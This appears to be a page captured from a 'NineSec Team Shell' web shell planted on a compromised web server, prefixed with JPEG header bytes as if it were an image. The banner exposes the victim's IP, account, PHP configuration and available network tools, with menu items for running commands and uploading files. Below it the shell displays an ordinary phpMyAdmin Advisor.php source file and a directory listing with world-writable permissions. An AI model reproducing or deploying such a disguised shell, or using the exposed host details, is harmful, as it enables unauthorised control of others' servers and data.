�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/domains/demo.readytorun.it/public_html/phmad/libraries/classes/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/domains/demo.readytorun.it/public_html/phmad/libraries/classes/Advisor.php
<?php

declare(strict_types=1);

namespace PhpMyAdmin;

use PhpMyAdmin\Server\SysInfo\SysInfo;
use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
use Throwable;

use function __;
use function array_merge;
use function htmlspecialchars;
use function implode;
use function preg_match;
use function preg_replace_callback;
use function round;
use function sprintf;
use function str_contains;
use function substr;
use function vsprintf;

/**
 * A simple rules engine, that executes the rules in the advisory_rules files.
 */
class Advisor
{
    private const GENERIC_RULES_FILE = 'libraries/advisory_rules_generic.php';
    private const BEFORE_MYSQL80003_RULES_FILE = 'libraries/advisory_rules_mysql_before80003.php';

    /** @var DatabaseInterface */
    private $dbi;

    /** @var array */
    private $variables;

    /** @var array */
    private $globals;

    /** @var array */
    private $rules;

    /** @var array */
    private $runResult;

    /** @var ExpressionLanguage */
    private $expression;

    /**
     * @param DatabaseInterface  $dbi        DatabaseInterface object
     * @param ExpressionLanguage $expression ExpressionLanguage object
     */
    public function __construct(DatabaseInterface $dbi, ExpressionLanguage $expression)
    {
        $this->dbi = $dbi;
        $this->expression = $expression;
        /*
         * Register functions for ExpressionLanguage, we intentionally
         * do not implement support for compile as we do not use it.
         */
        $this->expression->register(
            'round',
            static function (): void {
            },
            /**
             * @param array $arguments
             * @param float $num
             */
            static function ($arguments, $num) {
                return round($num);
            }
        );
        $this->expression->register(
            'substr',
            static function (): void {
            },
            /**
             * @param array $arguments
             * @param string $string
             * @param int $start
             * @param int $length
             */
            static function ($arguments, $string, $start, $length) {
                return substr($string, $start, $length);
            }
        );
        $this->expression->register(
            'preg_match',
            static function (): void {
            },
            /**
             * @param array $arguments
             * @param string $pattern
             * @param string $subject
             */
            static function ($arguments, $pattern, $subject) {
                return preg_match($pattern, $subject);
            }
        );
        $this->expression->register(
            'ADVISOR_bytime',
            static function (): void {
            },
            /**
             * @param array $arguments
             * @param float $num
             * @param int $precision
             */
            static function ($arguments, $num, $precision) {
                return self::byTime($num, $precision);
            }
        );
        $this->expression->register(
            'ADVISOR_timespanFormat',
            static function (): void {
            },
            /**
             * @param array $arguments
             * @param string $seconds
             */
            static function ($arguments, $seconds) {
                return Util::timespanFormat((int) $seconds);
            }
        );
        $this->expression->register(
            'ADVISOR_formatByteDown',
            static function (): void {
            },
            /**
             * @param array $arguments
             * @param int $value
             * @param int $limes
             * @param int $comma
             */
            static function ($arguments, $value, $limes = 6, $comma = 0) {
                return implode(' ', (array) Util::formatByteDown($value, $limes, $comma));
            }
        );
        $this->expression->register(
            'fired',
            static function (): void {
            },
            /**
             * @param array $arguments
             * @param int $value
             */
            function ($arguments, $value) {
                if (! isset($this->runResult['fired'])) {
                    return 0;
                }

                // Did matching rule fire?
                foreach ($this->runResult['fired'] as $rule) {
                    if ($rule['id'] == $value) {
                        return '1';
                    }
                }

                return '0';
            }
        );
        /* Some global variables for advisor */
        $this->globals = [
            'PMA_MYSQL_INT_VERSION' => $this->dbi->getVersion(),
            'IS_MARIADB' => $this->dbi->isMariaDB(),
        ];
    }

    private function setVariables(): void
    {
        $globalStatus = $this->dbi->fetchResult('SHOW GLOBAL STATUS', 0, 1);
        $globalVariables = $this->dbi->fetchResult('SHOW GLOBAL VARIABLES', 0, 1);

        $sysInfo = SysInfo::get();
        $memory = $sysInfo->memory();
        $systemMemory = ['system_memory' => $memory['MemTotal'] ?? 0];

        $this->variables = array_merge($globalStatus, $globalVariables, $systemMemory);
    }

    /**
     * @param string|int $variable Variable to set
     * @param mixed      $value    Value to set
     */
    public function setVariable($variable, $value): void
    {
        $this->variables[$variable] = $value;
    }

    private function setRules(): void
    {
        $isMariaDB = str_contains($this->variables['version'], 'MariaDB');
        $genericRules = include ROOT_PATH . self::GENERIC_RULES_FILE;

        if (! $isMariaDB && $this->globals['PMA_MYSQL_INT_VERSION'] >= 80003) {
            $this->rules = $genericRules;

            return;
        }

        $extraRules = include ROOT_PATH . self::BEFORE_MYSQL80003_RULES_FILE;
        $this->rules = array_merge($genericRules, $extraRules);
    }

    /**
     * @return array
     */
    public function getRunResult(): array
    {
        return $this->runResult;
    }

    /**
     * @return array
     */
    public function run(): array
    {
        $this->setVariables();
        $this->setRules();
        $this->runRules();

        return $this->runResult;
    }

    /**
     * Stores current error in run results.
     *
     * @param string    $description description of an error.
     * @param Throwable $exception   exception raised
     */
    private function storeError(string $description, Throwable $exception): void
    {
        $this->runResult['errors'][] = $description . ' ' . sprintf(
            __('Error when evaluating: %s'),
            $exception->getMessage()
        );
    }

    /**
     * Executes advisor rules
     */
    private function runRules(): void
    {
        $this->runResult = [
            'fired' => [],
            'notfired' => [],
            'unchecked' => [],
            'errors' => [],
        ];

        foreach ($this->rules as $rule) {
            $this->variables['value'] = 0;
            $precondition = true;

            if (isset($rule['precondition'])) {
                try {
                     $precondition = $this->evaluateRuleExpression($rule['precondition']);
                } catch (Throwable $e) {
                    $this->storeError(
                        sprintf(
                            __('Failed evaluating precondition for rule \'%s\'.'),
                            $rule['name']
                        ),
                        $e
                    );
                    continue;
                }
            }

            if (! $precondition) {
                $this->addRule('unchecked', $rule);

                continue;
            }

            try {
                $value = $this->evaluateRuleExpression($rule['formula']);
            } catch (Throwable $e) {
                $this->storeError(
                    sprintf(
                        __('Failed calculating value for rule \'%s\'.'),
                        $rule['name']
                    ),
                    $e
                );
                continue;
            }

            $this->variables['value'] = $value;

            try {
                if ($this->evaluateRuleExpression($rule['test'])) {
                    $this->addRule('fired', $rule);
                } else {
                    $this->addRule('notfired', $rule);
                }
            } catch (Throwable $e) {
                $this->storeError(
                    sprintf(
                        __('Failed running test for rule \'%s\'.'),
                        $rule['name']
                    ),
                    $e
                );
            }
        }
    }

    /**
     * Adds a rule to the result list
     *
     * @param string $type type of rule
     * @param array  $rule rule itself
     */
    public function addRule(string $type, array $rule): void
    {
        if ($type !== 'notfired' && $type !== 'fired') {
            $this->runResult[$type][] = $rule;

            return;
        }

        if (isset($rule['justification_formula'])) {
            try {
                $params = $this->evaluateRuleExpression('[' . $rule['justification_formula'] . ']');
            } catch (Throwable $e) {
                $this->storeError(
                    sprintf(__('Failed formatting string for rule \'%s\'.'), $rule['name']),
                    $e
                );

                return;
            }

            $rule['justification'] = vsprintf($rule['justification'], $params);
        }

        // Replaces {server_variable} with 'server_variable'
        // linking to /server/variables
        $rule['recommendation'] = preg_replace_callback(
            '/\{([a-z_0-9]+)\}/Ui',
            function (array $matches) {
                return $this->replaceVariable($matches);
            },
            $rule['recommendation']
        );
        $rule['issue'] = preg_replace_callback(
            '/\{([a-z_0-9]+)\}/Ui',
            function (array $matches) {
                return $this->replaceVariable($matches);
            },
            $rule['issue']
        );

        // Replaces external Links with Core::linkURL() generated links
        $rule['recommendation'] = preg_replace_callback(
            '#href=("|\')(https?://[^"\']+)\1#i',
            function (array $matches) {
                return $this->replaceLinkURL($matches);
            },
            $rule['recommendation']
        );

        $this->runResult[$type][] = $rule;
    }

    /**
     * Callback for wrapping links with Core::linkURL
     *
     * @param array $matches List of matched elements form preg_replace_callback
     *
     * @return string Replacement value
     */
    private function replaceLinkURL(array $matches): string
    {
        return 'href="' . Core::linkURL($matches[2]) . '" target="_blank" rel="noopener noreferrer"';
    }

    /**
     * Callback for wrapping variable edit links
     *
     * @param array $matches List of matched elements form preg_replace_callback
     *
     * @return string Replacement value
     */
    private function replaceVariable(array $matches): string
    {
        return '<a href="' . Url::getFromRoute('/server/variables', ['filter' => $matches[1]])
                . '">' . htmlspecialchars($matches[1]) . '</a>';
    }

    /**
     * Runs a code expression, replacing variable names with their respective values
     *
     * @return mixed result of evaluated expression
     */
    private function evaluateRuleExpression(string $expression)
    {
        return $this->expression->evaluate($expression, array_merge($this->variables, $this->globals));
    }

    /**
     * Formats interval like 10 per hour
     *
     * @param float $num       number to format
     * @param int   $precision required precision
     *
     * @return string formatted string
     */
    public static function byTime(float $num, int $precision): string
    {
        if ($num >= 1) { // per second
            $per = __('per second');
        } elseif ($num * 60 >= 1) { // per minute
            $num *= 60;
            $per = __('per minute');
        } elseif ($num * 60 * 60 >= 1) { // per hour
            $num *= 60 * 60;
            $per = __('per hour');
        } else {
            $num *= 24 * 60 * 60;
            $per = __('per day');
        }

        $num = round($num, $precision);

        if ($num == 0) {
            $num = '<' . 10 ** (-$precision);
        }

        return $num . ' ' . $per;
    }
}

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
September 11 2024 5:18:57
readytorun
0755
Charsets
--
September 11 2024 5:18:57
readytorun
0755
Command
--
September 11 2024 5:18:57
readytorun
0755
Config
--
September 11 2024 5:18:57
readytorun
0755
ConfigStorage
--
September 11 2024 5:18:57
readytorun
0755
Controllers
--
September 11 2024 5:18:57
readytorun
0755
Crypto
--
September 11 2024 5:18:57
readytorun
0755
Database
--
September 11 2024 5:18:57
readytorun
0755
Dbal
--
September 11 2024 5:18:57
readytorun
0755
Display
--
September 11 2024 5:18:57
readytorun
0755
Engines
--
September 11 2024 5:18:57
readytorun
0755
Exceptions
--
September 11 2024 5:18:57
readytorun
0755
Export
--
September 11 2024 5:18:57
readytorun
0755
Gis
--
September 11 2024 5:18:57
readytorun
0755
Html
--
September 11 2024 5:18:57
readytorun
0755
Http
--
September 11 2024 5:18:57
readytorun
0755
Image
--
September 11 2024 5:18:57
readytorun
0755
Import
--
September 11 2024 5:18:57
readytorun
0755
Navigation
--
September 11 2024 5:18:57
readytorun
0755
Partitioning
--
September 11 2024 5:18:57
readytorun
0755
Plugins
--
September 11 2024 5:18:57
readytorun
0755
Properties
--
September 11 2024 5:18:57
readytorun
0755
Providers
--
September 11 2024 5:18:57
readytorun
0755
Query
--
September 11 2024 5:18:57
readytorun
0755
Server
--
September 11 2024 5:18:57
readytorun
0755
Setup
--
September 11 2024 5:18:57
readytorun
0755
Table
--
September 11 2024 5:18:57
readytorun
0755
Twig
--
September 11 2024 5:18:57
readytorun
0755
Utils
--
September 11 2024 5:18:57
readytorun
0755
.htaccess
0.124 KB
November 14 2025 9:26:18
readytorun
0444
Advisor.php
12.317 KB
August 28 2023 5:04:12
readytorun
0777
Bookmark.php
9.188 KB
August 28 2023 5:04:12
readytorun
0777
BrowseForeigners.php
10.644 KB
August 28 2023 5:04:12
readytorun
0777
Cache.php
1.502 KB
August 28 2023 5:04:11
readytorun
0777
Charsets.php
6.823 KB
August 28 2023 5:04:12
readytorun
0777
CheckUserPrivileges.php
11.303 KB
August 28 2023 5:04:12
readytorun
0777
Common.php
19.156 KB
August 28 2023 5:04:12
readytorun
0777
Config.php
41.534 KB
August 28 2023 5:04:12
readytorun
0777
Console.php
3.251 KB
August 28 2023 5:04:12
readytorun
0777
Core.php
29.376 KB
August 28 2023 5:04:13
readytorun
0777
CreateAddField.php
15.951 KB
August 28 2023 5:04:11
readytorun
0777
DatabaseInterface.php
71.577 KB
August 28 2023 5:04:12
readytorun
0777
DbTableExists.php
2.859 KB
August 28 2023 5:04:12
readytorun
0777
Encoding.php
8.41 KB
August 28 2023 5:04:12
readytorun
0777
Error.php
13.626 KB
August 28 2023 5:04:12
readytorun
0777
ErrorHandler.php
18.225 KB
August 28 2023 5:04:12
readytorun
0777
ErrorReport.php
8.988 KB
August 28 2023 5:04:11
readytorun
0777
Export.php
45.555 KB
August 28 2023 5:04:11
readytorun
0777
FieldMetadata.php
11.244 KB
August 28 2023 5:04:12
readytorun
0777
File.php
19.745 KB
August 28 2023 5:04:11
readytorun
0777
FileListing.php
2.877 KB
August 28 2023 5:04:12
readytorun
0777
FlashMessages.php
1.217 KB
August 28 2023 5:04:12
readytorun
0777
Font.php
5.54 KB
August 28 2023 5:04:12
readytorun
0777
Footer.php
8.061 KB
August 28 2023 5:04:12
readytorun
0777
Git.php
17.859 KB
August 28 2023 5:04:11
readytorun
0777
Header.php
19.871 KB
August 28 2023 5:04:12
readytorun
0777
Import.php
48.719 KB
August 28 2023 5:04:11
readytorun
0777
Index.php
14.83 KB
August 28 2023 5:04:11
readytorun
0777
IndexColumn.php
4.755 KB
August 28 2023 5:04:12
readytorun
0777
InsertEdit.php
89.076 KB
August 28 2023 5:04:11
readytorun
0777
InternalRelations.php
17.314 KB
August 28 2023 5:04:11
readytorun
0777
IpAllowDeny.php
9.13 KB
August 28 2023 5:04:11
readytorun
0777
Language.php
4.473 KB
August 28 2023 5:04:12
readytorun
0777
LanguageManager.php
22.641 KB
August 28 2023 5:04:13
readytorun
0777
Linter.php
4.988 KB
August 28 2023 5:04:12
readytorun
0777
ListAbstract.php
1.669 KB
August 28 2023 5:04:11
readytorun
0777
ListDatabase.php
4.112 KB
August 28 2023 5:04:11
readytorun
0777
Logging.php
2.691 KB
August 28 2023 5:04:13
readytorun
0777
Menu.php
20.401 KB
August 28 2023 5:04:12
readytorun
0777
Message.php
18.68 KB
August 28 2023 5:04:13
readytorun
0777
Mime.php
0.896 KB
August 28 2023 5:04:12
readytorun
0777
Normalization.php
41.575 KB
August 28 2023 5:04:12
readytorun
0777
OpenDocument.php
8.619 KB
August 28 2023 5:04:11
readytorun
0777
Operations.php
35.114 KB
August 28 2023 5:04:12
readytorun
0777
OutputBuffering.php
4.099 KB
August 28 2023 5:04:13
readytorun
0777
ParseAnalyze.php
2.337 KB
August 28 2023 5:04:11
readytorun
0777
Pdf.php
4.174 KB
August 28 2023 5:04:12
readytorun
0777
Plugins.php
21.82 KB
August 28 2023 5:04:12
readytorun
0777
Profiling.php
2.158 KB
August 28 2023 5:04:11
readytorun
0777
RecentFavoriteTable.php
11.436 KB
August 28 2023 5:04:13
readytorun
0777
Replication.php
4.81 KB
August 28 2023 5:04:12
readytorun
0777
ReplicationGui.php
21.239 KB
August 28 2023 5:04:11
readytorun
0777
ReplicationInfo.php
4.792 KB
August 28 2023 5:04:11
readytorun
0777
ResponseRenderer.php
13.495 KB
August 28 2023 5:04:11
readytorun
0777
Routing.php
5.971 KB
August 28 2023 5:04:12
readytorun
0777
Sanitize.php
11.981 KB
August 28 2023 5:04:11
readytorun
0777
SavedSearches.php
11.328 KB
August 28 2023 5:04:12
readytorun
0777
Scripts.php
3.738 KB
August 28 2023 5:04:11
readytorun
0777
Session.php
8.162 KB
August 28 2023 5:04:11
readytorun
0777
Sql.php
63.988 KB
August 28 2023 5:04:12
readytorun
0777
SqlQueryForm.php
6.742 KB
August 28 2023 5:04:12
readytorun
0777
StorageEngine.php
15.723 KB
August 28 2023 5:04:12
readytorun
0777
SystemDatabase.php
3.98 KB
August 28 2023 5:04:11
readytorun
0777
Table.php
90.179 KB
August 28 2023 5:04:13
readytorun
0777
Template.php
4.505 KB
August 28 2023 5:04:12
readytorun
0777
Theme.php
7.319 KB
August 28 2023 5:04:12
readytorun
0777
ThemeManager.php
6.999 KB
August 28 2023 5:04:12
readytorun
0777
Tracker.php
30.337 KB
August 28 2023 5:04:12
readytorun
0777
Tracking.php
36.106 KB
August 28 2023 5:04:12
readytorun
0777
Transformations.php
16.314 KB
August 28 2023 5:04:12
readytorun
0777
TwoFactor.php
6.979 KB
August 28 2023 5:04:11
readytorun
0777
Types.php
24.739 KB
August 28 2023 5:04:12
readytorun
0777
Url.php
10.608 KB
August 28 2023 5:04:12
readytorun
0777
UrlRedirector.php
1.735 KB
August 28 2023 5:04:12
readytorun
0777
UserPassword.php
6.859 KB
August 28 2023 5:04:11
readytorun
0777
UserPreferences.php
10.488 KB
August 28 2023 5:04:12
readytorun
0777
Util.php
85.741 KB
August 28 2023 5:04:12
readytorun
0777
Version.php
0.543 KB
August 28 2023 5:04:12
readytorun
0777
VersionInformation.php
7.3 KB
August 28 2023 5:04:13
readytorun
0777
ZipExtension.php
10.334 KB
August 28 2023 5:04:12
readytorun
0777

NineSec Team - 2022